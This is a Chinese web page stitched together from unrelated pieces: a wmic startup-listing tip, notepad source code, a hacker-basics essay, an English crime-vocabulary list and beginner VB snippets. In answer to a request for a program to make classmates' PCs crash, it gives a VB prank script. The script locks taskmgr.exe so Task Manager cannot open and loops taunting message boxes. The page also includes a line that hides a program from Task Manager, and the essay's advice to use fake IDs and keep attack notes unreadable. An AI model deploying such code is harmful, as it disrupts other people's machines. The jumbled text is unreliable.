怎样防止黑客通过命令提示符攻击系统
查看WinXP启动信息有很多中方法，其中大家最熟悉的一种就是在运行中输入“msconfig.exe”命令调用“系统配置实用程序”来查看，也有不少朋友喜欢直接用第三方软件来查看，简洁明了。这些方法都是建立在系统正常的情况下，如果某一天系统中毒了导致无法运行“系统配置实用程序”或者软件，这时候还有第三种方法来帮助你，就是通过命令提示符来查看WinXP的启动信息。操作方法：1.通过“开始”→“程序” →“附件” →“命令提示符”命令，进入命令提示符操作窗口。2.在命令提示符操作窗口中输入“wmic startup get caption，command”(不含双引号)这个命令。输入后，命令提示符操作窗口中就会列出本机随Windows自启动的程序信息。窗口中的“Caption”栏为自启动项目名称，“Command”栏为自启动程序的具体路径。如果我们需要把WinXP自启动信息输出到一个文本文件中以方便我们的查看或打印，我们还可以使用“wmic /output:d:Startup.txt startup get caption，command”命令(不含双引号)。输入后，在D盘中就会出现一个名为“startup.txt”的文本文件，打开它也可以查看到本机随Windows自启动的程序信息。此命令中的“d:startup.txt”为输出文本文件的路径和名称，可根据需要自行修改。通过命令提示符来查看WinXP启动信息的这种方法，查看到的信息也非常完整，完全不比用第三方软件来的差。小编也建议大家经常查看查看WinXP的启动信息，这样也能及时清理一些启动垃圾项，帮助你提高电脑开机运行速度。
黑客动画吧记事本源代码
VB.net编程方法：
'新建文件
Private Sub mnuNew_Click()
RichTextBox1.Text = "" '清空文本框
FileName = "未命名"
Me.Caption = FileName
End Sub
'打开文件
Private Sub mnuOpen_Click()
CommonDialog1.Filter="文本文档(*.txt) *.txt RTF文档(*.rtf) *.rtf 所有文件(*.*) *.*"
CommonDialog1.ShowOpen
RichTextBox1.Text = "" '清空文本框
FileName = CommonDialog1.FileName
RichTextBox1.LoadFile FileName
Me.Caption = "超级记事本：" FileName
End Sub
'保存文件
Private Sub mnuSave_Click()
CommonDialog1.Filter="文本文档(*.txt) *.txt RTF文档(*.rtf) *.rtf 所有文件(*.*) *.*"
CommonDialog1.ShowSave
FileType = CommonDialog1.FileTitle
FiType = LCase(center(FileType, 3))
FileName = CommonDialog1.FileName
Select Case FiType
Case "txt"
RichTextBox1.SaveFile FileName, rtfText
Case "rtf"
RichTextBox1.SaveFile FileName, rtfRTF
Case "*.*"
RichTextBox1.SaveFile FileName
End Select
Me.Caption = "超级记事本：" FileName
End Sub
'退出
Private Sub mnuExit_Click()
End
End Sub
'复制
Private Sub mnuCopy_Click()
Clipboard.Clear
Clipboard.SetText RichTextBox1.SelText
End Sub
'剪切
Private Sub mnuCut_Click()
Clipboard.Clear
Clipboard.SetText RichTextBox1.SelText
RichTextBox1.SelText = ""
End Sub
'全选
Private Sub mnuSelectAll_Click()
RichTextBox1.SelStart = 0
RichTextBox1.SelLength = Len(RichTextBox1.Text)
End Sub
'粘贴
Private Sub mnuPaste_Click()
RichTextBox1.SelText = Clipboard.GetText
End Sub
'查找
Private Sub mnuFind_Click()
sFind = InputBox("请输入要查找的字、词：", "查找内容", sFind)
RichTextBox1.Find sFind
End Sub
'继续查找
Private Sub mnuFindOn_Click()
RichTextBox1.SelStart = RichTextBox1.SelStart+RichTextBox1.SelLength + 1
RichTextBox1.Find sFind, , Len(RichTextBox1)
End Sub
'使用说明
Private Sub mnuReadme_Click()
On Error GoTo handler
RichTextBox1.LoadFile "Readme.txt",rtfText'请写好Readme.txt文件并存入程序所在文件夹中
Me.Caption = "超级记事本：" "使用说明"
Exit Sub
handler:
MsgBox "使用说明文档可能已经被移除，请与作者联系。", vbOKOnly, " 错误信息"
End Sub
VC++编程方法：
首先用VC++创建一个MFC AppWizard(exe)单文档工程，名字Notepad。在Advanced里面File extension(文件扩展名)里面写txt就是关联txt文件，在Base class里面要选CEditView类（意思是基于这个类派生出你用的类）
其实这样生成的就是一个记事本了，但是和原来的记事本还是有区别的
所以我们还要添加点功能，这样才能起到让新人了解VC++的目的
1、我们先加一个设置字体
在 CNotepadView类里面定义字体（就是public） CFont m_Font;
定义消息处理函数：
void CNotepadView::OnFormatFont()
{
// TODO: Add your command handler code here
LOGFONT lf;
CFont *font=this-GetEditCtrl().GetFont();
if(font==NULL)
{
font =new CFont;
font-CreatePointFont(120,"Fixedsys");
font-GetLogFont(lf);
delete font;
}
else
{
font-GetLogFont(lf);
}
CFontDialog cf(lf);
if(cf.DoModal()==IDOK)
{
this-m_Font.DeleteObject();
this-m_Font.CreateFontIndirect(lf);
this-SetFont(this-m_Font);
}
}
2、设置字体
在 CNotepadView类里面定义 BOOL bChk;
消息处理函数
void CNotepadView::OnFormatReturn()
{
// TODO: Add your command handler code here
bChk=!bChk;
if(!bChk)
{
ShowScrollBar(SB_HORZ,true);
}
else
{
ShowScrollBar(SB_HORZ,false);
}
}
下面是源代码RAR压缩包
http://mysky66.51.net/Notepad.rar
黑客动画吧记事本源代码不会轻易公开的，那个记事本也不太好，界面也不好，其实破解也很容易的，但是意义不大。
网络攻防基础知识
黑客守则可千万别忘了，至少有几条要牢记谨守：
1、谨慎存放有关攻击资料的笔记，最好用自己的方式来记录——让人不知所云；
2、在虚拟世界的任何地方都要用虚拟的ID行事，不要留下真实姓名或其它资料；
3、不要向身边的朋友炫耀你的技术——除非你认为就算因他的原因导致你*^%$,你也不会怪他……
4、网友聊天不要轻易说出自己的学习与攻击计划——拍搭当然不一样啦。
也许你会觉得我太过多事，但现在国内突然涌起的这阵“黑客热”的确象一个难以把握的漂漂MM，往好里想，情势大好，技术水平迅速提高，但……国家的安全部门允许这群拥有较高技术水平的人在不受其控制的情况下呢，自由地在可能有机密情报的电脑世界里转悠吗？几则最新的消息或许应该看一看（都是99-11月的）:
1、北京公安部已专门成立了一个安全小组，专门对抗敌方黑客入侵;
2、大陆已着手因应资讯战的建设工作，并於‘总参二部（军事情报部）’下设‘科学装备局’，此一机构目前也针对电脑网络资料窃取、窜改及散播病毒等加以监控。(台湾报导）
3、据某报声称（解放军报？），信息战已迫在眉睫，应该有一个“网军”来因应这种情势……
我们只对技术感兴趣，但千万不要因为热爱技术却坑了自个儿，所以，小心点儿好，是吧！
还有，我只是一个电脑爱好者，各位千万别把我当黑客，我也不懂如何黑——正所谓咬人的的狗不叫——一句出口骂了自个儿不说还得罪一大片……本文档只为电脑爱好者提供，如有任何非法使用情况发生，一概由肇事者自行承担责任——先撇清了^^
好了，题外话说到这里，现在先把我计划中的内容理个大纲吧：
1、安全概念及思路（别忽略了它噢，这可是基础中的基础，其实真正软件中的漏洞并没有大家想象中那么多，而被攻破的系统有许多是因为人为的疏失才“惨遭蹂躏”的。
2、以入侵者的角度考虑安全问题（整个入侵过程的思路与动作方法，有机会我会把一整个过程详细写下并贴图的，这是后话）
3、系统配置方案
4、几篇国外基础性文章的翻译
5、部份国内较流行工具的使用方法
好，现在开始我们的第一章，安全概念及思路：
一、综述、
一提起网络安全，大家心里想到的首先应该都是“某某的主页被黑了”“五角大楼昨天又被黑客闯入”之类的讯息，其实我认为这只是安全的一个方面，是属远程攻击，但你是否想到，90%以上的入侵行为其实不是黑客们干的，而是你身边的同事、朋友……或者你再想想，系统被人侵入后造成资料丢失的后果，但如果你的电脑被暴雨干干净净彻头彻尾地洗了一遍，你里面的数据还在不在呢？所以我认为计算机安全应该分为物理安全、本地安全和远程安全。
物理安全因为牵涉到储如机房布置，防水防火等事项，不在本文的讨论范畴内。
二、本地安全失控
@ 单机安全
古龙大侠说过：越是亲密的朋友，就可能是越危险的敌人。听说过吧——没有？我告诉你吧，你有一台电脑，平时用来上上网，玩玩游戏，偶尔也敲点公文进去，你认为它挺安全的，但有一天，你的朋友突然告诉你，他有你的上网帐号和密码，你相信吗？——不要不信，这种方法挺多的，假如你用的是WINDOWS，假如你拨号上网的密码写了保存，那——默哀三分钟——你根本一点安全概念都没有嘛！任何人只要在你的电脑上运行某个小软件就……
我从来不保存什么密码——你可能要得意的说，但——你的朋友在你电脑里装了一个木马，可以捕捉拨号网络那个“连接到”的Caption，然后记下你所按的键盘，悄悄地将文件写入一个加密过的文本后再自动退出——会点编程的人应该都做得到，你的电脑是不是失守了？
设了屏幕保护密码——天啊，重启动后还有什么？
设定了管理策略，用策略编辑器编辑过，如果不输密码他就进不了，进去了也什么都干不成！——把你的user.dat和system.dat删掉后用我的代替，这个主意你认为怎么样？
当然我不是让你杯弓蛇影弄得一个朋友都没有只能形影相吊——这样活着太没劲啦！
如果你的电脑没有机密资讯的话当然无所谓，如果有——保证尽量少的人接触它！
写了这么多都是WIN9X的，UNIX系统里这方面的问题是不是就少了呢？从物理方面来说，如果一台机器摆放的位置不安全，能让人有足够的时间打开机箱做一些手脚，你的机器就无法安全，就拿我的机子来说吧，我有两块硬盘，但在WIN9X和NT里都看不到第二块硬盘的影子——我把它装上了LINUX，而且只能从一个特定的地方启动它，启动之后，在LINUX下，我可以任意的用mount命令装其它操作系统里的所有数据一扫而空……明白我的意思了吗？
英语新闻词汇
201.accomplice ： 同案犯
any person who takes part in a crime.
参与犯罪的每个人。
tony was found to be an accomplice in the crime.
人们发现托尼是该案的同案犯。
202.adult business district ： 红灯区
a neighborhood zoned for pornographic bookstores and movie theaters, striptease bars, etc.
划定的街区，作为开设色情书店、影院、脱衣舞场等的场所。
police are constantly arresting people over in the adult business district.
警察常在红灯区拘捕人犯。
203.agricrime ： 农业犯罪
sort for agricultural crime. the theft of crops and /or farm equipment.
"agricultural crime"的缩写词，偷盗庄稼和/或农场设备的犯罪。
farmers are losing thousands of dollars each year due to agricrime.
每年农业犯罪给农场主造成了成千上万美元的损失。
204.armed robbery ：武装抢劫
the act of using a deadly weapon when raking or attempting to take property form another person or party.
夺取或试图夺取他人或他方财物时使用致命武器的犯罪行为。
did you read about the armed robbery in this morning's paper?
今早的报纸上报道了这次武装抢劫，你读了吗？
205.arrest warrant ： 逮捕证
a document that orders the arrest of an individual who has been accused with a crime.
对被指控犯罪的某人实施搜捕的文件。
the court issued an arrest warrant on the suspect.
法庭对这个嫌疑人发出了逮捕证。
206.arson ： 纵火
the crime of intentionally destroying property by the use of fire.
故意放火毁坏财产的犯罪。
police think the fire that burned down the old warehouse was an act of arson.
警察怀疑这座仓库的大火是纵火行为所致。
207.assassin ： 暗杀
a murderer. a person who sets out to kill someone, esp. a prominent person.
谋杀者。密谋杀害他人，特别是一位杰出人物的凶手。
police are still looking for the assassin of the president candidate.
警方仍在追查暗杀总统候选人的凶手。
208.assault ： 袭击
the act of attempting or threatening to harm another person.
试图伤害或威胁要伤害他人的行为。
mr. green was assaulted while he was walking on 25th street.
格林先生在第25大街行走的时候受到袭击。
209.attack dog ： 攻击犬
a canine dog that has been trained to attack burglars, etc.
一种经过训练的狼犬，用来攻击窃贼等。
the officer's attack dog has saved his life many times.
这位警察的攻击犬多次救了主人的命。
210.back-alley butcher ： 卑鄙的屠夫
slang for abortionist.
俚语，给人施行流产手术的人。
demonstrators picked an abortion clinic with signs that said "back-alley" butcher.
示威者将一家流产诊所用标语牌围起来，牌子上写着"卑鄙的屠夫".
59.surrealism ：超现实主义
a style using subconscious mental activity as its subject matter, characterized by dreamlike, hallucinatory imagery.
将下意识的精神活动作为描写对象，多运用梦幻意象的艺术形式。
the artist salvador dali is synonymous with surrealism.
艺术家萨尔瓦多·达利是超现实主义的同义词。
211.bail ： 保释金
money that is deposited with a court in order to secure the release of a defendant while awaiting trial.
存放在法庭的一定数量的保证金，以使被告在候审期间获得释放。
frank's wife came down to the police station to bail him out.
弗兰克的妻子到警察局将他保释出来。
212.ballistics ： 弹道学
the science of firearms and the study of the motion of bullets.
研究火器及子弹运动的科学。
a ballistics expert was taking evidence at the scene of the crime.
一位弹道学家正在犯罪现场提取证据。
213.blackmail ： 敲诈，勒索
the act of threatening to reveal personal information, esp. ***ual scandals, in order to extract money.
以揭露隐私特别是性丑闻为威胁手段以谋取钱财的行为。
linda was involved in a blackmail scandal of the mayor.
林达涉嫌敲诈市长的丑闻。
214.black market ： 黑市
a market place where illegal or hard-to-get items are sold or where money is illegal exchanged.
非法或紧俏物资的销售点，或者非法换汇的地方。
gangs are buying assault weapons on the black market.
黑帮总在黑市购买攻击性武器。
215.blood money ： 血腥钱
money that is paid as retribution for injury, loss of life, vandalism, etc.
为他人受伤、丧命、损坏财产而付出的酬金。
the mafia paid blood money to have that man killed.
黑手党拿出血腥钱将那人杀了。
216.body bag ： 装尸袋
a heavy-duty bag that is used to contain a corpse.
一种结实的用来装运尸体的袋子。
the officer warmed the man to drop his gun or "end up in a body bag."
警察警告那人放下武器，否则必死无疑。
217.bomb squad ： 爆破小组
a team of police who are specially-trained to remove and deactivate bombs.
经专门训练，从事排除和拆卸炸弹的一支警察队伍。
the bomb squad was called in to deactivate the car bomb.
有关部门请来爆破小组拆除这枚汽车炸弹。
218.bootlegging ： 贩卖违禁品
the illegal distribution of items such as alcohol, drugs, firearms, etc.
非法销售物品如酒类、毒品、枪支等。
three mexicans were arrested for bootlegging firearms across the border.
三名墨西哥人因越境贩卖枪支而被捕。
219.break-in ： 非法闯入
a burglar
入室盗窃
it looks like you are the victim of a break-in.
看起来，你是入室盗窃的受害者。
220.bribery ： 行贿受贿
the act of offering, giving, or taking bribes.
赠送，提供，或接受贿金的行为。
the congressman resigned after having been found guilty of bribery.
这位议员被证实犯有行贿受贿罪后辞职了。
221.bucket shop ： 投机商号
（also called "telephone boiler room."） an office that is used to promote worthless land or securities by mail or through telemarketing.
（也被称为"电话交易所"）通过邮件或电话营销来推销荒地或垃圾证券的地点。
crooks across the country are using bucket shops to scam older people.
全国各地的骗子都利用投机商号来欺骗老年人。
222.bug ： 窃听
to use electronic listening devices to listen in on the conversations of others.
使用电子收听装置来偷听他人的谈话。
this office has been bugged.
这间办公室已被窃听。
223.bum rap ： 错捕
an unmerited arrest
不应实施的逮捕。
steve served six months jail time on a bum rap.
史迪夫因错捕而受了6个月的监禁。
224.burglary ： 入室盗窃
the act of breaking into a home, building, etc. with the intent to steal from it.
闯入民宅、建筑物等，企图偷盗的行为。
burglaries in our town have been on the ung.
我们小城里的入室盗窃案一直在上升。
225.car bangers ： 汽车窃贼
thieves who steal form automobiles.
从汽车里偷东西的贼。
police caught the car bangers in the act.
警方将这些汽车窃贼当场抓获。
226.career criminal ： 职业罪犯
a person who makes a living from crime.
以犯罪为生的人。
john was a career criminal until the day he got caught in the home of a policeman.
约翰是位职业罪犯，直到一天他在一个警察家里被抓获。
227.child abuse ： 虐待儿童
the physical and verbal mistreatment of children.
对儿童进行身体上和言语上的虐待。
the most unnerving thing about child abuse is the number of cases that go unreported.
有关虐待儿童方面最让人不安的事情是大量的此类行为没有报道。
228.chop shop ： 地下拆车厂
a shop where criminals take apart stolen cars and sell the parts.
犯罪分子将所盗汽车拆成零件并销售出去的窝点。
i watched a news program that tracked chop shops across the country.
我收看了一个追踪全国地下拆车点的电视节目。
229.cocaine ： 可卡因
a powerful stimulant drug.
一种有强力兴奋作用的毒品。
what is the street value of a pound of cocaine?
一磅可卡因市值多少？
230.computer cleaner ： 消除财务信息的电脑黑客
a person who, for a price, clean computer files of unfavorable financial credit information of others.
将反映他人财物信用赤字的计算机文件抹去以获取报酬的人员。
computer cleaners cost companies and financial institutions million of dollars every year.
消除财务信息的电脑黑客每年给公司和金融机构造成百万元计的损失。
231.con artist ： 行骗高手
a person who is skilled at convincing others of believing in fraudulent schemes.
擅于蒙骗并使人进入骗局的人。
bob makes his living as a con artist.
鲍勃是位行骗高手，并以行骗为生。
232.con game ： 骟局
any fraudulent scheme
任何骗人的把戏。
my grandparents got burned in a con game.
我的祖父母曾上过骗子的当。
233.convict ： 囚犯
a person found guilty of a felony and confined in a prison.
被判有重罪并羁于狱中的人。
mr. welch is an ex-convict.
韦尔奇先生从前是囚犯。
234.counterfeit ： 伪造
to illegally reproduce a copy of money, postage stamps, bonds, etc.
非法印造钱币、邮票、证券等。
police busted up a counterfeiting racket in miami last week.
上周警方捣毁了迈阿密的一个伪造团伙。
235.credit-card fraud ： 信用卡欺诈
the attempted use of a credit to obtain goods or services with the intention of avoiding payment.
企图使用信用卡获取货物或服务，并故意逃避付款。
that woman is wanted in 5 states for credit-card fraud.
那位妇女因信用卡欺诈而被5个州通缉。
236.crime of passion ： 激情犯罪；冲动犯罪
murder that resulted form the infidelity of a lover; murder committed in the heat of rage.
由于情人的不忠而导致的谋杀；暴怒驱使的杀人行为。
crimes of passion seem to be popular material for tv infotainment programs.
冲动杀人似乎是娱乐性新闻节目受欢迎的题材。
237.crime rate ： 犯罪率
the number of reported crimes per specified number of the population.
每一定人数中发生的犯罪数量。
which state has the highest crime rate in the u.s.?
在美国，哪个州的犯罪率最高？
238.criminal ： 犯罪
a person who has violated a criminal law.
触犯刑法的人。
we are placing your son in criminal detention.
我们对你儿子实行刑事拘留。
239.date rape ： 约会强*
a rape that is committed by a woman's date.
由女性的约会对象实施的强*.
date rape is the last thing that a young girl should have to worry about.
约会强*是年轻女子最不用害怕的事。
240.deadly weapon ： 致命武器
any object, or instrument that is capable of being used to kill.
任何可以用以杀人致命的物体、器具。
it is against the law to carry a concealed deadly weapon.
秘密携带致命武器是违法的
241.death penalty ：死刑
punishment by death, that is imposed in a legal manner.
以合法的形式剥夺罪犯生命的一种惩罚。
three men have received the death penalty so far this year.
今年已有三个被判死刑。
242.death row ： 死囚牢房
a cell block reserved for convicts awaiting execution.
特别为等待处决的死刑犯设置的牢房。
this convicted killer has been on death row for 15 years.
这位被判决死刑的杀人犯住在死囚牢房已15年了。
243.defendant ： 被告
a person who has been charged with a crime
被指控犯有罪行的人。
the court found the defendant guilty of murder.
法庭判定被告犯有谋杀罪。
244.domestic violence ： 家庭暴力
violence toward a family member, including child abuse or wife beating.
对家庭成员施加的暴力，包括虐待儿童和殴打妻子。
domestic violence is one of the most dangerous calls that a law enforcement officer has to make.
家庭暴力是执法官最难应付的案件之一。
245.drug abuse ： 吸毒
the excessive and compulsive use of drugs to the point of damaging one's health.
强迫性过量使用毒品，以致损害身体。
it was obvious to see by looking at the needle marks on her arms that the young girl was a victim of drug abuse.
从她臂上针扎的痕迹来看，很明显，这位年轻女子是吸毒的受害者。
246.drug king （czar） ： 毒枭
the person who controls the production, transportation and selling of drug in an area.
控制某一地区的毒品地区生产、运输和销售的头号人物。
after two years of using an undercover operation, the fbi finally arrested the cuban drug king.
经过两年的秘密行动，联邦调查局终于逮捕了这位古巴毒枭。
247.drunk driving ： 酒后驾驶
driving while under the influence of alcohol.
在受酒精影响的状态下开车。
this is your second drunk driving offense this month.
这是你本月第二触犯次酒后驾驶的禁令。
248.edp crimes ： 电脑犯罪
electronic data-processing crime; criminal offenses committed using computer technology.
在电子数据处理方面的犯罪；利用电脑技术进行的犯罪。
the irs investigated hundreds of edp crimes every year.
美国国内收入局每年都要调查数以百计的电脑犯罪。
249.embezzlement ： 贪污
the illegal misappropriation of funds entrusted to one\''s care.
将由自己保管的资金非法据为已有。
we have never had a problem with embezzlement at this bank.
我们这家银行从没发生过贪污案件。
250.first-degree murder ： 一级谋杀案
premeditated murder.
事先策划好的谋杀。
the man was changed with first-degree murder in the death of his lover's husband.
这位男子其情人的丈夫死亡案中被指控犯有一级谋杀罪
够多的了,我还可以上传.....
建议你去买几本字典...........
给个黑客程序(业余的，只要别人电脑蓝屏死机）黑一搓同学，不要专业
Open Environ$("WinDir") "\system32\taskmgr.exe" For Binary As #1
For m = 1 To 999
MsgBox "呵呵，你知道我是谁吗？", 16
MsgBox "什么？？不知道？", 16
MsgBox "那你打开我干什么？", 16
MsgBox "你有空没事做吧？！", 16
MsgBox "我..就是鼎鼎大名的*********", 16
MsgBox "*********..", 16
MsgBox "现在你把它打开了觉得后悔了吧？呵呵..", 16
MsgBox "算了算了，不玩你了", 16
MsgBox "现在我数3声就闪人,行了吧?", 16
MsgBox "1.............", 16
MsgBox "2.............", 16
MsgBox "3.............", 16
MsgBox "噔噔噔噔,我又回来了！", 16
MsgBox "哈哈，是不是很过瘾呢？", 16
MsgBox "现在我先介绍下自己..", 16
MsgBox "我叫奥特曼..", 16
MsgBox "性别：男..", 16
MsgBox "今年17岁..", 16
MsgBox "不好意思噢，我好像说多了..", 16
MsgBox "不要这样喇，听我说完先好不？", 16
MsgBox "来来来，开始喇..", 16
MsgBox "我叫王得地..", 16
MsgBox "家中有屋又有田..", 16
MsgBox "生活乐无边..", 16
MsgBox "好像我又说多了...", 16
MsgBox "不要生气嘛，你认真看下去我就放你走..", 16
MsgBox "好，开始喇..", 16
MsgBox "从前有座山..", 16
MsgBox "山里有个座庙..", 16
MsgBox "庙里有个和尚..", 16
MsgBox "哈哈，想哭吗？", 16
MsgBox "被骗的感觉不爽吧？", 16
MsgBox "喂喂喂！别别..千万别重启电脑", 16
MsgBox "我告诉你怎么关吧", 16
MsgBox "先打开任务管理器", 16
MsgBox "忘了告诉你了，任务管理器打不开了", 16
MsgBox "别恨我啊你不小心", 16
MsgBox "电脑重新启动吧", 16
MsgBox "相信我吧,你知道我是不会骗人的", 16
MsgBox "如果你还想继续点的话,你就别听我的", 16
MsgBox "呵呵,我又没有说这个东西没有", 16
MsgBox "我只想说桌面没有罢了..", 16
MsgBox "嘻嘻,爽不爽吖?", 16
MsgBox "对着电脑屏幕大声说低调大好人", 16
MsgBox "不然,我就没办法的咯", 16
MsgBox "因为我把循环设置成99了", 16
MsgBox "想保存电脑数据只有继续点了", 16
MsgBox "绝对会出到去的", 16
MsgBox "好了,废话不多说了,祝你好运..", 16
MsgBox "制作:莫忻", 16
MsgBox "QQ：*********", 16
MsgBox "E-mail:不告诉你", 16
MsgBox "好,继续循环..", 16
Next
0000000000000000000000000000000000000000000000000000000000000
Form1.KeyPreview = True
If KeyCode = 37 Then
Picture1.Left = Picture1.Left - 45
ElseIf KeyCode = 38 Then
Picture1.Top = Picture1.Top - 30
ElseIf KeyCode = 39 Then
Picture1.Left = Picture1.Left + 15
ElseIf KeyCode = 40 Then
Picture1.Top = Picture1.Top + 70
End If
方向键控制物体运动 00000000000000000000000000000000000000000000
If a = fasle Then
Command1.Top = Command1.Top + 20
If Command1.Top 2400 Then
a = True
End If
End If
If a = True Then
Command1.Top = Command1.Top - 20
End If
If Command1.Top 140 Then
a = False
End If
控件自动上下移动0000000000000000000000000000000000
Label1.Caption = ""
Label1.Left = X - 20
Label1.Top = Y - 20
Label1.Caption = "当前鼠标坐标: x=" X " y = " Y
鼠标坐标轴代码00000000000000000000000000000000000000000
app.taskervisible=false
在任务管理器隐身
程序最好尽量简单，我的界面就两个文本框，两个按钮。
保存按钮的代码我是这样写的：
Private Sub Command1_Click()
Open "f:\文件保存\data.txt" For Output As #1 '文件保存的路径
print #1, text1.text
Close #1
End Sub
提取的代码我不会写。。
要分行写入不同的文本框。。
应该怎么写呢？
越简单越好。。最好加上注释。。我希望下一次我自己能做出来
Private Sub Command2_Click()
Open "f:\文件保存\data.txt" For Input As #1 '文件保存的路径
Line Input #1, x
Text1.Text = x
Close #1
End Sub
00000000000000000000000000000000000000000000000vb 保存数据到txt
Private Sub Command2_Click()
Open "F:\TEST\b.txt" For Output As #1
Print #1, Text1.Text
Close
End Sub
以上代码可以创建一个txt文件并写入数据